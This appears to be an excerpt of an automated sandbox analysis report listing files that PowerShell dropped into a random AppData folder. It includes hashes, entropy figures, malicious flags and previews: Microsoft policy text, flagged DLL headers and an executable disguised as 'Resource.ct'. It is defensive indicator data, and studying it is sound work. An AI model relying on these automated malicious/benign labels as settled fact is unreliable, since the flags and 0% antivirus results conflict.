Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Automatically workplace join client computers</displayName>.. <description>This setting lets you configure how domain-joined client computers become workplace-joined with domain users in your organization.</description>.. <resources>.. <stringTable>.. <string id="WJ_WorkplaceJoinCategory">Workplace Join</string>.. <string id="WJ_AutoJoinExplain">This setting lets you configure how domain joined client computers become workplace joined with domain users at your organization.....If this setting is enabled, domain-joined client computers will automatically become workplace-joined upon domain user logon.....Note: Additional requirements may appl

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\fthsvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.867263783263397
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKe92tf3bDtMsabsl5/n0BshFV:LeD5pmk2tf/Ojbg1nCshFV
MD5:	418D7AC091847AB77D095C57FA41A684
SHA1:	3344D9A7DF3250DC67E0AE77A3852504B57FD45D
SHA-256:	1264F3A19797D8DAEE79006048CF0430FC85D1FA8AAC8C64C5A60351C7753901
SHA-512:	86C39CFFAC76B5417780116DCD6E264C05939C52D7E8920330FABC657AFC34EE9EC0C09EDB871B9F6B3E9C75CD1E12029B29DF6A8D12CB24A8D3810D71BDB8D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Fault Tolerant Heap</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting permits or prohibits the Diagnostic Policy Service (DPS) from automatically resolving any heap corruption problems.....If you enable this policy setting, the DPS detects, troubleshoots, and attempts to resolve automatically any heap corruption problems.....If you disable this policy setting, Windows cann

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\hotspotauth.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	4.960947634536891
Encrypted:	false
SSDEEP:	24:2ddD5eo8gWt4+3FWDELiHkM7QQhsrPKkoXWmWUD64WPb1KOFV:cdD5x8gmID1q+kkb967Pb0OFV
MD5:	C8F213BDF5B362440A28D5D5FDD86FB8
SHA1:	587A99FD8725FBBEF863D8D01D3993123817A8B3
SHA-256:	8A6601421A6DE212B6B1FF4990ED462251F3C4C75CB37D7BBA0AFC814B0C50F1
SHA-512:	966BE4DBF177B42253853A03B08447B48315FF51CF05C9FA88FA2A5A344CC9E02A357D7A7FAF61A831EDA39FA9AF35B88389FB8EAFE6BA72A8D7F8BCE90EFFB1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Hotspot Authentication Group Policy Settings</displayName>.. <description>Hotspot Authentication Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="HotspotAuth_Category">Hotspot Authentication</string>.. <string id="HotspotAuth_Enable">Enable Hotspot Authentication</string>.. <string id="HotspotAuth_Enable_Help">This policy setting defines whether Wi-Fi hotspots are probed for Wireless Internet Service Provider roaming (WISPr) protocol support.....If a Wi-Fi hotspot supports the WISPr protocol, users can submit credentials when manually connecting to the network. If authentication is successful, users will b

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\iSCSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (402), with CRLF line terminators
Category:	dropped
Size (bytes):	5220
Entropy (8bit):	4.806973059665715
Encrypted:	false
SSDEEP:	96:LeD5pmCaYOcq03f1QSxMMdeuRr48/TNZvOfxk5DxKhFwfDFpm8h7w1D7zDGFV:EPaYO503f1QSy+euRD/TNZvOfxk5DxKQ
MD5:	FE14E28C69993ACCEC221BE3C7A99E5C
SHA1:	AF4A9B9485D3CAE6BB21DC2932A705247C20EC01
SHA-256:	68B3DF1ED58900E693440D614266C2F8FA20A87F75B9183A5BEBFAB5C3C6B4C2
SHA-512:	B60557A69068D7F37CE89C724D22340E464E4DFDE039E9E4A10BE2F4458C165456872632D886EADBAA7AC72F23DAB8AF32EC1A1DAE2605EDC7D25004E878772B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="iSCSI_Category">iSCSI</string>.. <string id="iSCSIDiscovery_Category">iSCSI Target Discovery</string>.. <string id="iSCSIDiscovery_ConfigureiSNSServers">Do not allow manual configuration of iSNS servers</string>.. <string id="iSCSIDiscovery_ConfigureiSNSServers_Help">If enabled then new iSNS servers may not be added and thus new targets discovered via those iSNS servers; existing iSNS servers may not be removed. If disabled then new iSNS servers may be added and thus new targets discovered via those

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\msched.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3422
Entropy (8bit):	4.718448996775859
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3F+uAuj9hjwJd+ktkEbEqXf3XYonvxbBN9vBxWQcjtrh6kWR0z:cgeD5x8gmVSTuiv3Xv1IQcLzWElq2SIV
MD5:	224BEABEB0B0C06F17CD758D7F5CA442
SHA1:	5D6443E03F0345B93561D2958C725E963CE1EBCD
SHA-256:	C65DA0DF5066F72EFF8B61EDF4F7B900650462FE38260C98C43A2DFCBEEF8634
SHA-512:	17AD214FA68E221F9805472AB453B13477656AC0F7A1612F2260B369F2F1E33D0DCC2E03851A3CB72999F16EF790B56F2CC0E1C341723FD1BB0C6937FEA1B98D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Maintenance Scheduler Policies</displayName>.. <description>Maintenance Scheduler Group Policies</description>.. <resources>.. <stringTable>.. <string id="MaintenanceScheduler">Maintenance Scheduler</string>.. <string id="ActivationBoundary">Automatic Maintenance Activation Boundary</string>.. <string id="ActivationBoundaryHelp">.. This policy setting allows you to configure Automatic Maintenance activation boundary..... The maintenance activation boundary is the daily schduled time at which Automatic Maintenance starts.... If you enable this policy setting, this will override the default daily scheduled time

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\nca.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (532), with CRLF line terminators
Category:	dropped
Size (bytes):	8481
Entropy (8bit):	4.839330009877803
Encrypted:	false
SSDEEP:	192:xvEwDvJfTqcK3KoGmwrtrqGryq5hP8lv5UNgTe:xvE8fWVQpHOq5hP8vuge
MD5:	913C464CFBD79FBB24DDDB6A91D1C375
SHA1:	DE4AB693B5B746695B00E6F00EFC190D7541242F
SHA-256:	6E3E490033E86709BBEAD8A1CA4F35DD478297BD932A76C3D9942DD59F8AC27F
SHA-512:	346C4AA6FBC299ECC94C2CA4970A4EC4867235FD9268E4E89C2F32D526A1F75824565442B555080CD374C229D6C5ECFD2CF6B7B96DC85FCABD14F9225FE05CEB
Malicious:	false
Preview:	<policyDefinitionResources revision="1.0" schemaVersion="1.0">.. <displayName>DirectAccess Client Experience Settings Group Policy Template</displayName>.. <description>This admx file describes policy template for DirectAccess Client NCA component</description>.. <resources>.. <stringTable>.. <string id="NCA">DirectAccess Client Experience Settings</string>.. <string id="NCA_Help">This is the group policy template for DirectAccess Client Experience Settings. Please read the DirectAccess deployment guide for more information.</string>.. <string id="SupportEmail">Support Email Address</string>.. <string id="SupportEmail_Help">Specifies the e-mail address to be used when sending the log files that are generated by NCA to the network administrator. ....When the user sends the log files to the Administrator, NCA uses the default e-mail client to open a new message with the support email address in the To: field of the message, then attaches the generated log files

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\pca.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (379), with CRLF line terminators
Category:	dropped
Size (bytes):	6236
Entropy (8bit):	4.8210465928673445
Encrypted:	false
SSDEEP:	96:LeD5pm0ybro3NXRz6/LPrwwfsHO+/7Oaj3V:EDyXo3NXRz+0w0HdjtjF
MD5:	78021A8DEB0981DD65154025032BB7D5
SHA1:	5B59F46A232E9752D6405949564B435D1AD709B5
SHA-256:	899C5FF462E34E8319AC0C59A9BC794695166970BA28495C473754FA5C3DE457
SHA-512:	C4BBA2C6A05B10A74D603225CE69BF6EC3D08CF8039D56E5118774179A628A237F9119C09215C4FEB7BE5D5D06A8E5CF6B07FE2822D0AF7E65FEFD47FA9E039E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>...... Overall category text -->.. <string id="PcaScenarioCategory">Application Compatibility Diagnostics</string>.. .... Generic WDI text -->.. <string id="WdiScenarioExecutionPolicyLevelResolution">Detection, Troubleshooting and Resolution</string>.. <string id="WdiScenarioExecutionPolicyLevelTsOnly">Detection and Troubleshooting Only</string>...... Individual scenario text -->.. <string id="DetectBlockedDriversText">Notify blocked drivers</string>.. <string id="DetectDepre

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\sdiageng.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (423), with CRLF line terminators
Category:	dropped
Size (bytes):	3289
Entropy (8bit):	4.684667062227081
Encrypted:	false
SSDEEP:	48:cVD5x8gmnwOx5XzQfO4ZQZr4VdF+kHdqblrmG7FV:WD5pmnwOX4aadF+odcmG7FV
MD5:	145EB767DFAAC5B7D79A9DF8C4FD6504
SHA1:	EF931F6BD052785B77B640F310BB593DA3FBC881
SHA-256:	F2483555C3531D0821703D3696ACBFE5528A031D762661249CD6DF8434ACCFC3
SHA-512:	8B5AC9ABF5870C9F2D9708E8858121815CE875E379700E7E4797F84631802D82FFE0A32C1983CF23BD6B09D775965F0192939D03CAC6F1E5FD2B54CC55EE2602
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Scripted Diagnostics</displayName>.. <description>Scripted Diagnostics</description>.. <resources>.. <stringTable>.. <string id="ScriptedDiagnosticsCategory">Scripted Diagnostics</string>.. <string id="ScriptedDiagnosticsSecurityPolicy">Configure Security Policy for Scripted Diagnostics</string>.. <string id="ScriptedDiagnosticsSecurityPolicyExplain">This policy setting determines whether scripted diagnostics will execute diagnostic packages that are signed by untrusted publishers.....If you enable this policy setting, the scripted diagnostics execution engine validates the signer of any diagnostic package and runs only those signed by trust

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\srm-fci.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (472), with CRLF line terminators
Category:	dropped
Size (bytes):	7668
Entropy (8bit):	4.73074137043816
Encrypted:	false
SSDEEP:	96:wNa+/IQexYsInNwFxpeHe+zpoDQzwvU9Q7nwefXvU9Q7HTV:G/In5xpe++zpoDhv8w/v80
MD5:	7B04E3F4356B26D851628246DAC94705
SHA1:	AB5AC1954A3652BCB12946B607C2B1F4D876DA21
SHA-256:	E6F4193F29666226D72365C364E473F1F9DEB47405DFEDCA38A215EB61FFF967
SHA-512:	E1A0C7A200AEDCD3FB55E64BF67A0EE9EED91C0632C178A54FA98E20D9B4C32680F17900BC66017FEF3F595A6FCA06624B2C0CF7D5B4E8490C177F3AFAC1A414
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>File Classification Infrastructure Group Policy Definitions</displayName>.. <description></description>.. <resources>.. <stringTable>.. <string id="AdrCat">Access-Denied Assistance</string>.. <string id="FciCat">File Classification Infrastructure</string>.. <string id="EnableManualUXDisplay">File Classification Infrastructure: Display Classification tab in File Explorer</string>.. <string id="EnableShellExecuteFileStreamCheck">Enable access-denied assistance on client for all file types</string>.. <string id="EnableShellExecuteFileStreamCheck_Descr">This Group Policy Setting should be set on Windows clients to enable access-denied assistance for all file types</string>.. <string id="EnableManualUXExplain">This policy setting controls whether the Classification

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\tcpip.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (431), with CRLF line terminators
Category:	dropped
Size (bytes):	13466
Entropy (8bit):	4.782394839113498
Encrypted:	false
SSDEEP:	96:LeD5pmjKFPT4fv3EIrv3Iv/g8/vRzZxOkRvhRkKSbHw1cZICCHzBaTBeQqqL7tgA:E6fv3EWv3Ivo8Fn/nYwrqjvigA95Zy/D
MD5:	0B0DA2277FE7B257B26ED87E595CDCF5
SHA1:	5F790C95E1703A243F0678FDF521772811B4D352
SHA-256:	89EC65C0144936DE7A31B903D9A8DBD2E436FD098DE9AA91EAF164A5A8B6DB1B
SHA-512:	581018F7E5E6ACFBB4D7E8B6BDADCA26ABE829ED1E12AAF1B86FB70857DF9B2290056B3890E969A62DA027399FA4624E1B9478679B91632AD1CE12D1A09D0250
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>TCPIP Group Policy Template file</displayName>.. <description>This admx file describes policy template for TCPIP components</description>.. <resources>.. <stringTable>.. <string id="TCPIP">TCPIP Settings</string>.. <string id="Ipv6Transition">IPv6 Transition Technologies</string>.... <string id="ISATAP_State">Set ISATAP State</string>.. <string id="ISATAP_Router_Name">Set ISATAP Router Name</string>.. <string id="6to4_State">Set 6to4 State</string>.. <string id="6to4_Router_Name">Set 6to4 Relay Name</string>.. <string id="6to4_Router_Name_Resolution_Interval">Set 6to4 Relay Name Resolution Interval</string>.. <s

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\wlansvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1977
Entropy (8bit):	4.903195660648944
Encrypted:	false
SSDEEP:	48:cwD5x8gmipnasavWANaqwDtCsiFsaMQnV:lD5pmipasavWuaqwhsFsaM0V
MD5:	13E20C78E89E7FC58934BCFF584E12A1
SHA1:	52DCC829C427CE609034C9106460C7734BEBD3ED
SHA-256:	A59E2ED355AC803474C9EF02A60076BB98ADBB33AD6AA6884AB1B4850BAC4C02
SHA-512:	14C6DB1DCB97692D561C961A5A1A5F0F25BC6CC3CB28DC878CD46296339E16C36BA8A364BE4F80A42D2C27725BECDED3020DC68BE820F0343FE92A961F018966
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>WLAN Service Group Policy Settings</displayName>.. <description>WLAN Service Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WlanSvc_Category">WLAN Service</string>.. <string id="NetworkCost_Category">WLAN Media Cost</string>.. <string id="SetCost">Set Cost</string>.. <string id="SetCost_Help">This policy setting configures the cost of Wireless LAN (WLAN) connections on the local machine.....If this policy setting is enabled, a drop-down list box presenting possible cost values will be active. Selecting one of the following values from the list will set the cost of all WLAN connections on the local m

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\wwansvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2971
Entropy (8bit):	4.817228267034193
Encrypted:	false
SSDEEP:	48:cwD5x8gmL0PfvW8N0qwDtCsiFcs2mANRqwDtCsiFnMlpV:lD5pmL0PfvWq0qwhsFcs2muRqwhsFnM1
MD5:	761AF87D50F53F0CE9947B5D486C30FA
SHA1:	DC926F9449848CCE778326607BD4787ED6C80A01
SHA-256:	8F1F6C7509F5C7C27B8F6E5DCF81FB8C02AE3FFEE825F6CFA4171A712BE018D4
SHA-512:	ECCF653D5935C3777F14F08C0F5318B927E230C08AAA09DEBFD09ACA23A27B0887FE94A8670B635FD7D7B6ACCF3D3DFED2BFBCD02298A5B58089D66219A7E366
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>WWAN Service Group Policy Settings</displayName>.. <description>WWAN Service Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WwanSvc_Category">WWAN Service</string>.. <string id="NetworkCost_Category">WWAN Media Cost</string>.. <string id="SetCost3G">Set 3G Cost</string>.. <string id="SetCost3G_Help">This policy setting configures the cost of 3G connections on the local machine.....If this policy setting is enabled, a drop-down list box presenting possible cost values will be active. Selecting one of the following values from the list will set the cost of all 3G connections on the local machine:....

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\ffmpeg.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2704792
Entropy (8bit):	6.725743776039723
Encrypted:	false
SSDEEP:	49152:ImBYJtMTl/GuTvOCnCaYXWRTDF8fLen6yfZ0rO43PSGgt2:9OC9YXeTDFWD5PZ
MD5:	449BF7A46490FA07881D969B6D52C0F1
SHA1:	E520A8318E867C7840E6DEADEF36ABCDF2894417
SHA-256:	5883D041C5F5020AC4B66314D5F89CB6331DB3C4EC1C912F72B3EBB9AA8C41E2
SHA-512:	EABAA33B037BA9F1EE874C534D85AD281985E85E1DD2C115A2693F56381A9A596F22B16938916FD34804A3D490CD0AC53A2969C5F73A923B163C5474FEA91B91
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....{.f.........." .....~ .........`........................................0s.......)...`A.........................................I'......O'.(.............q.......)..)....r..3..."'......................!'.(.... .@............R'.8............................text...u\| ......~ ................. ..`.rdata...d.... ..f.... .............@..@.data.....I...(.."....'.............@....pdata........q.......(.............@..@.gxfg....,....r.......(.............@..@.retplne......r.......(..................tls..........r.......(.............@..._RDATA........r.......(.............@..@.reloc...3....r..4....(.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\icudtl.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	10717680
Entropy (8bit):	6.282426578921538
Encrypted:	false
SSDEEP:	196608:WgPBhORiuQwCliXUxbblHa93Whli6Z26wO+:W8wkDliXUxbblHa93Whli6ZUF
MD5:	74BDED81CE10A426DF54DA39CFA132FF
SHA1:	EB26BCC7D24BE42BD8CFBDED53BD62D605989BBF
SHA-256:	7BF96C193BEFBF23514401F8F6568076450ADE52DD1595B85E4DFCF3DE5F6FB9
SHA-512:	BD7B7B52D31803B2D4B1FD8CB76481931ED8ABB98D779B893D3965231177BDD33386461E1A820B384712013904DA094E3CD15EE24A679DDC766132677A8BE54A
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E.......E..P/...E.../...E..P7...E...7...E...h...F...h.. F..Pi..0F......DF.....WF.....jF..P...}F.......F..`....F.......F.. ....F.......F..0....F.......G......G......(G.....;G..@...NG......aG.....tG.......G.......G..@....G.......G.......G.......G..P....G.......H.......H..P...2H......EH..`...UH......hH......yH..P....H.......H.......H..`....H.......H.......H..P....I.......I......-I..@...=I......PI......aI..@...uI.......I...0...I.. 1...I..p1...I...e...I...e...I...i...I..`i...J...i..)J...K..BJ..p...^J..."'.uJ..P.'..J....'..J...5'..J..06'..J...>'..J..P?'..K...D'..K...F'.0K...H'.IK...V'.hK....(..K....(..K..P.)..K....)..K..pW..K..P...L...*+.?L..p.+.bL....+..L...U,..L....,..L....,..L....,..L..@.,..M....,.-M..P.-.IM.. e-.`M...e-.~M...R/..M.../..M..0.0..M..@.0..M..P.0..M....0..N....0.!N...,0.9N...,0.NN..0-0.fN...-0.vN...Y0..N...Z0..N..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\v8_context_snapshot.bin

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	613840
Entropy (8bit):	5.353969995543054
Encrypted:	false
SSDEEP:	6144:ti2Cr/XgXBS/YKiMpN5zzivVsTRlWxYZbAIf+jL/k5nnPo7p1KFqUg/J6:tZCr/BzOvrYs1KgJ6
MD5:	753BE41D649D31812067EC2B85C10F0E
SHA1:	769531CC83B6D5DD9ABFECFA4C2D0C4128BF42F2
SHA-256:	169FC7F80834ACF1D59B62C2ADBE6D1AD477CF2564EE84150DFFFD36CAA1CA33
SHA-512:	86D76228FD82B09529D15D35B9BD45F7E0EA7328EA984FF9E0414A05746B7853DDB2AC8537A1D46B59F4A13F471120C3A428DF28FB51FC9FACC51C5F9EF6D497
Malicious:	false
Preview:	........O.'a.c>.7.5.288.23......................................................X...,>......p4......................P....B...B..P.......`....`....`....`....`t...`x...`V...`....`...... ....y.`H...D..X!}...X!A...X!A.D. ..Q.`H...D..X!m...X!E...X!E.D. ..`H...D..X!}...X!I...X!I.D. ....`H...D..X!}...X!M...X!M.D. ..i.`....D..X!q...X!Q...X!Q.D. ....`H...D..X!}...X!U...X!U.D. ..9.`H...D..X!}...X!Y...X!Y.D. ..`H...D..X!}...X!]...X!].D. ..`H...D..X!}...X!a...X!a.D. ....`H...D..X!u...X!e...X!e.D. ..`H...D..X!}...X!i...X!i.D.(Jb....!..... ..F`....^.Q...V`.....(Jb....1..... ..F`....^......@...IDa........D`....D`....D`.....`.....D]....D`.@.....V`......WIa...........V`......WIa...........WIa...........WIa...........WIa...........V`......WIa...........WIa...........WIa...........V`......WIa...........WIa...........WIa...........WIa............L`.....HD...D...D..Qb........3......D...L.........................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\NAudio.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	519944
Entropy (8bit):	6.065481336711818
Encrypted:	false
SSDEEP:	12288:rnXnae2TPlr3zvzar5oRDaw92wP6mai9gs6CU:78lrT+r5ADakP4i9gsc
MD5:	65839A5C28A0DEE380C4EBA54E2D941F
SHA1:	AC609EA7F86FE533820B801CFE40B22F8A7A3F1B
SHA-256:	C7A4C035D89716B027F69C2CC98EAF5C44FB15B08C2EA162D793466356A35A2A
SHA-512:	E6853FF5D10D11B5333F0697DCB660A042EBEAE12EEBC84427D0B9F896CF100258E7E6D18F531AAE700C0F476F91F11DA0272E7809728DF68DA80EE560136AEB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s$............" ..0.................. ........... ....................... ...........@.................................@...O........................'..........h...T............................................ ............... ..H............text...h.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................t.......H.......,g..\P............................................................{<.....{=...V.(>.....}<.....}=......0..;........u(.....,/(?....{<....{<...o@...,.(A....{=....{=...oB..... ... )UU.Z(?....{<...oC...X )UU.Z(A....{=...oD...X.0...........r...p......%..{<..........+.....+...-.q+........+...-.&.+...+...oE....%..{=..........,.....,...-.q,........,...-.&.+...,...oE....(F...r...(....(G.....}......}....JrG..p.......(H...2.,...s....z..{....N.,...i./...s......N.,...i

C:\Users\user\AppData\Roaming\FeGIPCnK\RcClientBase.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30512
Entropy (8bit):	6.293166408242498
Encrypted:	false
SSDEEP:	384:37VPSe+T3KkTRIjjzi3WbR1zQnSyGUvXU7Ex3dVOSRZYNyb8E9VF6IYinAM+oaua:37VPSFTamMRbzCfzZQEpYinAMxJH4
MD5:	F0739E1DB958FDE4DC6BAB9D75865191
SHA1:	FEDADBF79B594995E6C44108D6B25CDBBF05EB65
SHA-256:	27FAAC58C4EDC8FB147C9947FC9567AFD2F785B11252C2963788FD0F64F7CA42
SHA-512:	ADBF2A0B42C6043EE5C984C02FCC8815B143117FA2EE0286B048F9E90D695F74F0129240E1DE36DEA2915F1E3D31359953095E6E5497337D01F0004D443AAD10
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!..0..F...........e... ........... ...............................3....`.................................He..O....................P..0'...........d............................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............N..............@..B................\|e......H........3...1...........................................................0..H..........(...(.......,.........s..... .... .:..s....}............s....(%...V.#......>@(....o3......0..=........(+...r...po......o2....(+...r3..po......&.(+...rw..po.................))..........0..@........(6....{....%-.&+. .... .:..(....&..}........(+...r...p.o..............++.......0..7........{....,..{....o......}.....(8.......(+...r...p.o...............""......v.{......o....&.{....,..o...

C:\Users\user\AppData\Roaming\FeGIPCnK\Resource.ct

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3136432
Entropy (8bit):	5.953248030549441
Encrypted:	false
SSDEEP:	49152:KQ96YdG5LJ3Z3k0jbdHMsChIiv1o/spNM:FqBkMGsCJe
MD5:	CF83372CE8462708F58817B1560E7006
SHA1:	6484FDC351661E0EC40FF6D8EF2D9C1DF2B05F1A
SHA-256:	37A5A53B7D95439B05B5E4F394DE8B931A500F6DF97AAF1A82CB8A66C11478F2
SHA-512:	D4D24CFE4819343A98D2C83F62B456E922FF88215015D6A76D230D4034B68AFBEF45E3FAD2B92B6D2DBFC2772B65C0BB91545B61BD0231C8A75C03A4146352D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
